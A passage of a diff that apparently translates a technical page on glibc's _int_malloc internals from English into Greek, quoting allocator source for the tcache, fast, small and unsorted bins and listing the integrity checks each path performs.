(tc_idx < mp_.tcache_bins - && tcache != NULL - && tcache->counts[tc_idx] > 0) - { - victim = tcache_get (tc_idx); - return tag_new_usable (victim); - } - DIAG_POP_NEEDS_COMMENT; +DIAG_PUSH_NEEDS_COMMENT; +if (tc_idx < mp_.tcache_bins +&& tcache != NULL +&& tcache->counts[tc_idx] > 0) +{ +victim = tcache_get (tc_idx); +return tag_new_usable (victim); +} +DIAG_POP_NEEDS_COMMENT; #endif - if (SINGLE_THREAD_P) - { - victim = tag_new_usable (_int_malloc (&main_arena, bytes)); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - &main_arena == arena_for_chunk (mem2chunk (victim))); - return victim; - } +if (SINGLE_THREAD_P) +{ +victim = tag_new_usable (_int_malloc (&main_arena, bytes)); +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +&main_arena == arena_for_chunk (mem2chunk (victim))); +return victim; +} - arena_get (ar_ptr, bytes); +arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - /* Retry with another arena only if we were able to find a usable arena - before. */ - if (!victim && ar_ptr != NULL) - { - LIBC_PROBE (memory_malloc_retry, 1, bytes); - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +victim = _int_malloc (ar_ptr, bytes); +/* Retry with another arena only if we were able to find a usable arena +before. */ +if (!victim && ar_ptr != NULL) +{ +LIBC_PROBE (memory_malloc_retry, 1, bytes); +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - victim = tag_new_usable (victim); +victim = tag_new_usable (victim); - assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || - ar_ptr == arena_for_chunk (mem2chunk (victim))); - return victim; +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +ar_ptr == arena_for_chunk (mem2chunk (victim))); +return victim; } ``` -
-Note how it'll always tag the returned pointer with `tag_new_usable`, from the code: - +Σημειώστε πώς θα επισημαίνει πάντα τον επιστρεφόμενο δείκτη με `tag_new_usable`, από τον κώδικα: ```c - void *tag_new_usable (void *ptr) +void *tag_new_usable (void *ptr) - Allocate a new random color and use it to color the user region of - a chunk; this may include data from the subsequent chunk's header - if tagging is sufficiently fine grained. Returns PTR suitably - recolored for accessing the memory there. +Allocate a new random color and use it to color the user region of +a chunk; this may include data from the subsequent chunk's header +if tagging is sufficiently fine grained. Returns PTR suitably +recolored for accessing the memory there. ``` - ## \_int_malloc -This is the function that allocates memory using the other bins and top chunk. +Αυτή είναι η συνάρτηση που εκχωρεί μνήμη χρησιμοποιώντας τα άλλα bins και το top chunk. -- Start +- Έναρξη -It starts defining some vars and getting the real size the request memory space need to have: +Αρχίζει ορίζοντας μερικές μεταβλητές και αποκτώντας το πραγματικό μέγεθος που χρειάζεται να έχει ο ζητούμενος χώρος μνήμης:
_int_malloc start - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 static void * _int_malloc (mstate av, size_t bytes) { - INTERNAL_SIZE_T nb; /* normalized request size */ - unsigned int idx; /* associated bin index */ - mbinptr bin; /* associated bin */ +INTERNAL_SIZE_T nb; /* normalized request size */ +unsigned int idx; /* associated bin index */ +mbinptr bin; /* associated bin */ - mchunkptr victim; /* inspected/selected chunk */ - INTERNAL_SIZE_T size; /* its size */ - int victim_index; /* its bin index */ +mchunkptr victim; /* inspected/selected chunk */ +INTERNAL_SIZE_T size; /* its size */ +int victim_index; /* its bin index */ - mchunkptr remainder; /* remainder from a split */ - unsigned long remainder_size; /* its size */ +mchunkptr remainder; /* remainder from a split */ +unsigned long remainder_size; /* its size */ - unsigned int block; /* bit map traverser */ - unsigned int bit; /* bit map traverser */ - unsigned int map; /* current word of binmap */ +unsigned int block; /* bit map traverser */ +unsigned int bit; /* bit map traverser */ +unsigned int map; /* current word of binmap */ - mchunkptr fwd; /* misc temp for linking */ - mchunkptr bck; /* misc temp for linking */ +mchunkptr fwd; /* misc temp for linking */ +mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE - size_t tcache_unsorted_count; /* count of unsorted chunks processed */ +size_t tcache_unsorted_count; /* count of unsorted chunks processed */ #endif - /* - Convert request size to internal form by adding SIZE_SZ bytes - overhead plus possibly more to obtain necessary alignment and/or - to obtain a size of at least MINSIZE, the smallest allocatable - size. Also, checked_request2size returns false for request sizes - that are so large that they wrap around zero when padded and - aligned. - */ +/* +Convert request size to internal form by adding SIZE_SZ bytes +overhead plus possibly more to obtain necessary alignment and/or +to obtain a size of at least MINSIZE, the smallest allocatable +size. Also, checked_request2size returns false for request sizes +that are so large that they wrap around zero when padded and +aligned. +*/ - nb = checked_request2size (bytes); - if (nb == 0) - { - __set_errno (ENOMEM); - return NULL; - } +nb = checked_request2size (bytes); +if (nb == 0) +{ +__set_errno (ENOMEM); +return NULL; +} ``` -
-### Arena +### Αρένα -In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`: +Στην απίθανη περίπτωση που δεν υπάρχουν χρησιμοποιήσιμες αρένες, χρησιμοποιεί το `sysmalloc` για να αποκτήσει ένα κομμάτι από το `mmap`:
-_int_malloc not arena - +_int_malloc όχι αρένα ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from - mmap. */ - if (__glibc_unlikely (av == NULL)) - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } +mmap. */ +if (__glibc_unlikely (av == NULL)) +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} ``` -
-### Fast Bin +### Γρήγορος Κάδος -If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\ -Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**. +Αν το απαιτούμενο μέγεθος είναι μέσα στα μεγέθη των Γρήγορων Κάδων, προσπαθήστε να χρησιμοποιήσετε ένα κομμάτι από τον γρήγορο κάδο. Βασικά, με βάση το μέγεθος, θα βρει τον δείκτη του γρήγορου κάδου όπου θα πρέπει να βρίσκονται τα έγκυρα κομμάτια, και αν υπάρχουν, θα επιστρέψει ένα από αυτά.\ +Επιπλέον, αν το tcache είναι ενεργοποιημένο, θα **γεμίσει τον κάδο tcache αυτού του μεγέθους με γρήγορους κάδους**. -While performing these actions, some security checks are executed in here: +Κατά την εκτέλεση αυτών των ενεργειών, εκτελούνται μερικοί έλεγχοι ασφαλείας εδώ: -- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2` -- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected` -- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)` -- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3` +- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο: `malloc(): unaligned fastbin chunk detected 2` +- Αν το επόμενο κομμάτι είναι κακώς ευθυγραμμισμένο: `malloc(): unaligned fastbin chunk detected` +- Αν το επιστρεφόμενο κομμάτι έχει μέγεθος που δεν είναι σωστό λόγω του δείκτη του στον γρήγορο κάδο: `malloc(): memory corruption (fast)` +- Αν οποιοδήποτε κομμάτι που χρησιμοποιείται για να γεμίσει το tcache είναι κακώς ευθυγραμμισμένο: `malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If the size qualifies as a fastbin, first check corresponding bin. - This code is safe to execute even if av is not yet initialized, so we - can try it without checking, which saves some time on this fast path. - */ +If the size qualifies as a fastbin, first check corresponding bin. +This code is safe to execute even if av is not yet initialized, so we +can try it without checking, which saves some time on this fast path. +*/ #define REMOVE_FB(fb, victim, pp) \ - do \ - { \ - victim = pp; \ - if (victim == NULL) \ - break; \ - pp = REVEAL_PTR (victim->fd); \ - if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ - malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ - } \ - while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ - != victim); \ +do \ +{ \ +victim = pp; \ +if (victim == NULL) \ +break; \ +pp = REVEAL_PTR (victim->fd); \ +if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ +malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ +} \ +while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ +!= victim); \ - if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) - { - idx = fastbin_index (nb); - mfastbinptr *fb = &fastbin (av, idx); - mchunkptr pp; - victim = *fb; +if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) +{ +idx = fastbin_index (nb); +mfastbinptr *fb = &fastbin (av, idx); +mchunkptr pp; +victim = *fb; - if (victim != NULL) - { - if (__glibc_unlikely (misaligned_chunk (victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); +if (victim != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (victim->fd); - else - REMOVE_FB (fb, pp, victim); - if (__glibc_likely (victim != NULL)) - { - size_t victim_idx = fastbin_index (chunksize (victim)); - if (__builtin_expect (victim_idx != idx, 0)) - malloc_printerr ("malloc(): memory corruption (fast)"); - check_remalloced_chunk (av, victim, nb); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (victim->fd); +else +REMOVE_FB (fb, pp, victim); +if (__glibc_likely (victim != NULL)) +{ +size_t victim_idx = fastbin_index (chunksize (victim)); +if (__builtin_expect (victim_idx != idx, 0)) +malloc_printerr ("malloc(): memory corruption (fast)"); +check_remalloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = *fb) != NULL) - { - if (__glibc_unlikely (misaligned_chunk (tc_victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (tc_victim->fd); - else - { - REMOVE_FB (fb, pp, tc_victim); - if (__glibc_unlikely (tc_victim == NULL)) - break; - } - tcache_put (tc_victim, tc_idx); - } - } +/* While bin not empty and tcache not full, copy chunks. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = *fb) != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (tc_victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (tc_victim->fd); +else +{ +REMOVE_FB (fb, pp, tc_victim); +if (__glibc_unlikely (tc_victim == NULL)) +break; +} +tcache_put (tc_victim, tc_idx); +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +} ``` -
-### Small Bin +### Μικρός Κάδος -As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked. +Όπως αναφέρεται σε ένα σχόλιο, οι μικροί κάδοι κρατούν ένα μέγεθος ανά δείκτη, επομένως ο έλεγχος αν υπάρχει διαθέσιμο έγκυρο κομμάτι είναι πολύ γρήγορος, οπότε μετά τους γρήγορους κάδους, ελέγχονται οι μικροί κάδοι. -The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**. +Ο πρώτος έλεγχος είναι να διαπιστωθεί αν το ζητούμενο μέγεθος θα μπορούσε να είναι μέσα σε έναν μικρό κάδο. Σε αυτή την περίπτωση, αποκτάται ο αντίστοιχος **δείκτης** μέσα στον μικρό κάδο και ελέγχεται αν υπάρχει **οποιοδήποτε διαθέσιμο κομμάτι**. -Then, a security check is performed checking: +Στη συνέχεια, πραγματοποιείται ένας έλεγχος ασφαλείας ελέγχοντας: -- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. +- αν `victim->bk->fd = victim`. Για να διασφαλιστεί ότι και τα δύο κομμάτια είναι σωστά συνδεδεμένα. -In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed. +Σε αυτή την περίπτωση, το κομμάτι **λαμβάνει το bit `inuse`,** η διπλή συνδεδεμένη λίστα διορθώνεται ώστε αυτό το κομμάτι να εξαφανιστεί από αυτή (καθώς πρόκειται να χρησιμοποιηθεί), και το bit της μη κύριας αρένας ρυθμίζεται αν χρειάζεται. -Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any). +Τέλος, **γεμίζουμε τον δείκτη tcache του ζητούμενου μεγέθους** με άλλα κομμάτια μέσα στον μικρό κάδο (αν υπάρχουν).
-_int_malloc small bin - +_int_malloc μικρός κάδος ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If a small request, check regular bin. Since these "smallbins" - hold one size each, no searching within bins is necessary. - (For a large request, we need to wait until unsorted chunks are - processed to find best fit. But for small ones, fits are exact - anyway, so we can check now, which is faster.) - */ +If a small request, check regular bin. Since these "smallbins" +hold one size each, no searching within bins is necessary. +(For a large request, we need to wait until unsorted chunks are +processed to find best fit. But for small ones, fits are exact +anyway, so we can check now, which is faster.) +*/ - if (in_smallbin_range (nb)) - { - idx = smallbin_index (nb); - bin = bin_at (av, idx); +if (in_smallbin_range (nb)) +{ +idx = smallbin_index (nb); +bin = bin_at (av, idx); - if ((victim = last (bin)) != bin) - { - bck = victim->bk; - if (__glibc_unlikely (bck->fd != victim)) - malloc_printerr ("malloc(): smallbin double linked list corrupted"); - set_inuse_bit_at_offset (victim, nb); - bin->bk = bck; - bck->fd = bin; +if ((victim = last (bin)) != bin) +{ +bck = victim->bk; +if (__glibc_unlikely (bck->fd != victim)) +malloc_printerr ("malloc(): smallbin double linked list corrupted"); +set_inuse_bit_at_offset (victim, nb); +bin->bk = bck; +bck->fd = bin; - if (av != &main_arena) - set_non_main_arena (victim); - check_malloced_chunk (av, victim, nb); +if (av != &main_arena) +set_non_main_arena (victim); +check_malloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks over. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = last (bin)) != bin) - { - if (tc_victim != 0) - { - bck = tc_victim->bk; - set_inuse_bit_at_offset (tc_victim, nb); - if (av != &main_arena) - set_non_main_arena (tc_victim); - bin->bk = bck; - bck->fd = bin; +/* While bin not empty and tcache not full, copy chunks over. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = last (bin)) != bin) +{ +if (tc_victim != 0) +{ +bck = tc_victim->bk; +set_inuse_bit_at_offset (tc_victim, nb); +if (av != &main_arena) +set_non_main_arena (tc_victim); +bin->bk = bck; +bck->fd = bin; - tcache_put (tc_victim, tc_idx); - } - } - } +tcache_put (tc_victim, tc_idx); +} +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### malloc_consolidate -If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation. +Αν δεν ήταν ένα μικρό κομμάτι, είναι ένα μεγάλο κομμάτι, και σε αυτή την περίπτωση καλείται **`malloc_consolidate`** για να αποφευχθεί η κατακερματισμένη μνήμη.
-malloc_consolidate call - +κλήση malloc_consolidate ```c /* - If this is a large request, consolidate fastbins before continuing. - While it might look excessive to kill all fastbins before - even seeing if there is space available, this avoids - fragmentation problems normally associated with fastbins. - Also, in practice, programs tend to have runs of either small or - large requests, but less often mixtures, so consolidation is not - invoked all that often in most programs. And the programs that - it is called frequently in otherwise tend to fragment. - */ +If this is a large request, consolidate fastbins before continuing. +While it might look excessive to kill all fastbins before +even seeing if there is space available, this avoids +fragmentation problems normally associated with fastbins. +Also, in practice, programs tend to have runs of either small or +large requests, but less often mixtures, so consolidation is not +invoked all that often in most programs. And the programs that +it is called frequently in otherwise tend to fragment. +*/ - else - { - idx = largebin_index (nb); - if (atomic_load_relaxed (&av->have_fastchunks)) - malloc_consolidate (av); - } +else +{ +idx = largebin_index (nb); +if (atomic_load_relaxed (&av->have_fastchunks)) +malloc_consolidate (av); +} ``` -
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins. +Η συνάρτηση malloc consolidate βασικά αφαιρεί κομμάτια από το γρήγορο bin και τα τοποθετεί στο αταξινόμητο bin. Μετά την επόμενη malloc, αυτά τα κομμάτια θα οργανωθούν στα αντίστοιχα μικρά/γρήγορα bins. -Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin. +Σημειώστε ότι αν κατά την αφαίρεση αυτών των κομματιών, βρεθούν με προηγούμενα ή επόμενα κομμάτια που δεν είναι σε χρήση, θα **αποσυνδεθούν και θα συγχωνευθούν** πριν τοποθετηθεί το τελικό κομμάτι στο **αταξινόμητο** bin. -For each fast bin chunk a couple of security checks are performed: +Για κάθε κομμάτι γρήγορου bin εκτελούνται μερικοί έλεγχοι ασφαλείας: -- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected` -- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size` -- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins` +- Αν το κομμάτι είναι μη ευθυγραμμισμένο, ενεργοποιείται: `malloc_consolidate(): unaligned fastbin chunk detected` +- Αν το κομμάτι έχει διαφορετικό μέγεθος από αυτό που θα έπρεπε λόγω του δείκτη στον οποίο βρίσκεται: `malloc_consolidate(): invalid chunk size` +- Αν το προηγούμενο κομμάτι δεν είναι σε χρήση και το προηγούμενο κομμάτι έχει μέγεθος διαφορετικό από αυτό που υποδεικνύει το `prev_chunk`: `corrupted size vs. prev_size in fastbins`
malloc_consolidate function - ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 static void malloc_consolidate(mstate av) { - mfastbinptr* fb; /* current fastbin being consolidated */ - mfastbinptr* maxfb; /* last fastbin (for loop control) */ - mchunkptr p; /* current chunk being consolidated */ - mchunkptr nextp; /* next chunk to consolidate */ - mchunkptr unsorted_bin; /* bin header */ - mchunkptr first_unsorted; /* chunk to link to */ +mfastbinptr* fb; /* current fastbin being consolidated */ +mfastbinptr* maxfb; /* last fastbin (for loop control) */ +mchunkptr p; /* current chunk being consolidated */ +mchunkptr nextp; /* next chunk to consolidate */ +mchunkptr unsorted_bin; /* bin header */ +mchunkptr first_unsorted; /* chunk to link to */ - /* These have same use as in free() */ - mchunkptr nextchunk; - INTERNAL_SIZE_T size; - INTERNAL_SIZE_T nextsize; - INTERNAL_SIZE_T prevsize; - int nextinuse; +/* These have same use as in free() */ +mchunkptr nextchunk; +INTERNAL_SIZE_T size; +INTERNAL_SIZE_T nextsize; +INTERNAL_SIZE_T prevsize; +int nextinuse; - atomic_store_relaxed (&av->have_fastchunks, false); +atomic_store_relaxed (&av->have_fastchunks, false); - unsorted_bin = unsorted_chunks(av); +unsorted_bin = unsorted_chunks(av); - /* - Remove each chunk from fast bin and consolidate it, placing it - then in unsorted bin. Among other reasons for doing this, - placing in unsorted bin avoids needing to calculate actual bins - until malloc is sure that chunks aren't immediately going to be - reused anyway. - */ +/* +Remove each chunk from fast bin and consolidate it, placing it +then in unsorted bin. Among other reasons for doing this, +placing in unsorted bin avoids needing to calculate actual bins +until malloc is sure that chunks aren't immediately going to be +reused anyway. +*/ - maxfb = &fastbin (av, NFASTBINS - 1); - fb = &fastbin (av, 0); - do { - p = atomic_exchange_acquire (fb, NULL); - if (p != 0) { - do { - { - if (__glibc_unlikely (misaligned_chunk (p))) - malloc_printerr ("malloc_consolidate(): " - "unaligned fastbin chunk detected"); +maxfb = &fastbin (av, NFASTBINS - 1); +fb = &fastbin (av, 0); +do { +p = atomic_exchange_acquire (fb, NULL); +if (p != 0) { +do { +{ +if (__glibc_unlikely (misaligned_chunk (p))) +malloc_printerr ("malloc_consolidate(): " +"unaligned fastbin chunk detected"); - unsigned int idx = fastbin_index (chunksize (p)); - if ((&fastbin (av, idx)) != fb) - malloc_printerr ("malloc_consolidate(): invalid chunk size"); - } +unsigned int idx = fastbin_index (chunksize (p)); +if ((&fastbin (av, idx)) != fb) +malloc_printerr ("malloc_consolidate(): invalid chunk size"); +} - check_inuse_chunk(av, p); - nextp = REVEAL_PTR (p->fd); +check_inuse_chunk(av, p); +nextp = REVEAL_PTR (p->fd); - /* Slightly streamlined version of consolidation code in free() */ - size = chunksize (p); - nextchunk = chunk_at_offset(p, size); - nextsize = chunksize(nextchunk); +/* Slightly streamlined version of consolidation code in free() */ +size = chunksize (p); +nextchunk = chunk_at_offset(p, size); +nextsize = chunksize(nextchunk); - if (!prev_inuse(p)) { - prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size in fastbins"); - unlink_chunk (av, p); - } +if (!prev_inuse(p)) { +prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size in fastbins"); +unlink_chunk (av, p); +} - if (nextchunk != av->top) { - nextinuse = inuse_bit_at_offset(nextchunk, nextsize); +if (nextchunk != av->top) { +nextinuse = inuse_bit_at_offset(nextchunk, nextsize); - if (!nextinuse) { - size += nextsize; - unlink_chunk (av, nextchunk); - } else - clear_inuse_bit_at_offset(nextchunk, 0); +if (!nextinuse) { +size += nextsize; +unlink_chunk (av, nextchunk); +} else +clear_inuse_bit_at_offset(nextchunk, 0); - first_unsorted = unsorted_bin->fd; - unsorted_bin->fd = p; - first_unsorted->bk = p; +first_unsorted = unsorted_bin->fd; +unsorted_bin->fd = p; +first_unsorted->bk = p; - if (!in_smallbin_range (size)) { - p->fd_nextsize = NULL; - p->bk_nextsize = NULL; - } +if (!in_smallbin_range (size)) { +p->fd_nextsize = NULL; +p->bk_nextsize = NULL; +} - set_head(p, size | PREV_INUSE); - p->bk = unsorted_bin; - p->fd = first_unsorted; - set_foot(p, size); - } +set_head(p, size | PREV_INUSE); +p->bk = unsorted_bin; +p->fd = first_unsorted; +set_foot(p, size); +} - else { - size += nextsize; - set_head(p, size | PREV_INUSE); - av->top = p; - } +else { +size += nextsize; +set_head(p, size | PREV_INUSE); +av->top = p; +} - } while ( (p = nextp) != 0); +} while ( (p = nextp) != 0); - } - } while (fb++ != maxfb); +} +} while (fb++ != maxfb); } ``` -
-### Unsorted bin +### Αταξινόμητος κάδος -It's time to check the unsorted bin for a potential valid chunk to use. +Ήρθε η ώρα να ελέγξουμε τον αταξινόμητο κάδο για μια πιθανή έγκυρη κομμάτι προς χρήση. -#### Start +#### Έναρξη -This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +Αυτό ξεκινά με έναν μεγάλο βρόχο for που θα διασχίζει τον αταξινόμητο κάδο στην κατεύθυνση `bk` μέχρι να φτάσει στο τέλος (τη δομή arena) με `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` -Moreover, some security checks are perform every time a new chunk is considered: +Επιπλέον, γίνονται ορισμένοι έλεγχοι ασφαλείας κάθε φορά που εξετάζεται ένα νέο κομμάτι: -- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)` -- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)` -- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)` -- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's `fd` should be pointing always to the arena struct. -- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)` +- Αν το μέγεθος του κομματιού είναι περίεργο (πολύ μικρό ή πολύ μεγάλο): `malloc(): invalid size (unsorted)` +- Αν το μέγεθος του επόμενου κομματιού είναι περίεργο (πολύ μικρό ή πολύ μεγάλο): `malloc(): invalid next size (unsorted)` +- Αν το προηγούμενο μέγεθος που υποδεικνύεται από το επόμενο κομμάτι διαφέρει από το μέγεθος του κομματιού: `malloc(): mismatching next->prev_size (unsorted)` +- Αν όχι `victim->bck->fd == victim` ή όχι `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` +- Καθώς πάντα ελέγχουμε το τελευταίο, το `fd` του θα πρέπει πάντα να δείχνει στη δομή arena. +- Αν το επόμενο κομμάτι δεν υποδεικνύει ότι το προηγούμενο είναι σε χρήση: `malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc unsorted bin start - +_int_malloc αταξινόμητος κάδος έναρξη ```c /* - Process recently freed or remaindered chunks, taking one only if - it is exact fit, or, if this a small request, the chunk is remainder from - the most recent non-exact fit. Place other traversed chunks in - bins. Note that this step is the only place in any routine where - chunks are placed in bins. +Process recently freed or remaindered chunks, taking one only if +it is exact fit, or, if this a small request, the chunk is remainder from +the most recent non-exact fit. Place other traversed chunks in +bins. Note that this step is the only place in any routine where +chunks are placed in bins. - The outer loop here is needed because we might not realize until - near the end of malloc that we should have consolidated, so must - do so and retry. This happens at most once, and only when we would - otherwise need to expand memory to service a "small" request. - */ +The outer loop here is needed because we might not realize until +near the end of malloc that we should have consolidated, so must +do so and retry. This happens at most once, and only when we would +otherwise need to expand memory to service a "small" request. +*/ #if USE_TCACHE - INTERNAL_SIZE_T tcache_nb = 0; - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - tcache_nb = nb; - int return_cached = 0; +INTERNAL_SIZE_T tcache_nb = 0; +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +tcache_nb = nb; +int return_cached = 0; - tcache_unsorted_count = 0; +tcache_unsorted_count = 0; #endif - for (;; ) - { - int iters = 0; - while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) - { - bck = victim->bk; - size = chunksize (victim); - mchunkptr next = chunk_at_offset (victim, size); +for (;; ) +{ +int iters = 0; +while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) +{ +bck = victim->bk; +size = chunksize (victim); +mchunkptr next = chunk_at_offset (victim, size); - if (__glibc_unlikely (size <= CHUNK_HDR_SZ) - || __glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): invalid size (unsorted)"); - if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) - || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) - malloc_printerr ("malloc(): invalid next size (unsorted)"); - if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) - malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); - if (__glibc_unlikely (bck->fd != victim) - || __glibc_unlikely (victim->fd != unsorted_chunks (av))) - malloc_printerr ("malloc(): unsorted double linked list corrupted"); - if (__glibc_unlikely (prev_inuse (next))) - malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); +if (__glibc_unlikely (size <= CHUNK_HDR_SZ) +|| __glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): invalid size (unsorted)"); +if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) +|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) +malloc_printerr ("malloc(): invalid next size (unsorted)"); +if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) +malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); +if (__glibc_unlikely (bck->fd != victim) +|| __glibc_unlikely (victim->fd != unsorted_chunks (av))) +malloc_printerr ("malloc(): unsorted double linked list corrupted"); +if (__glibc_unlikely (prev_inuse (next))) +malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` -
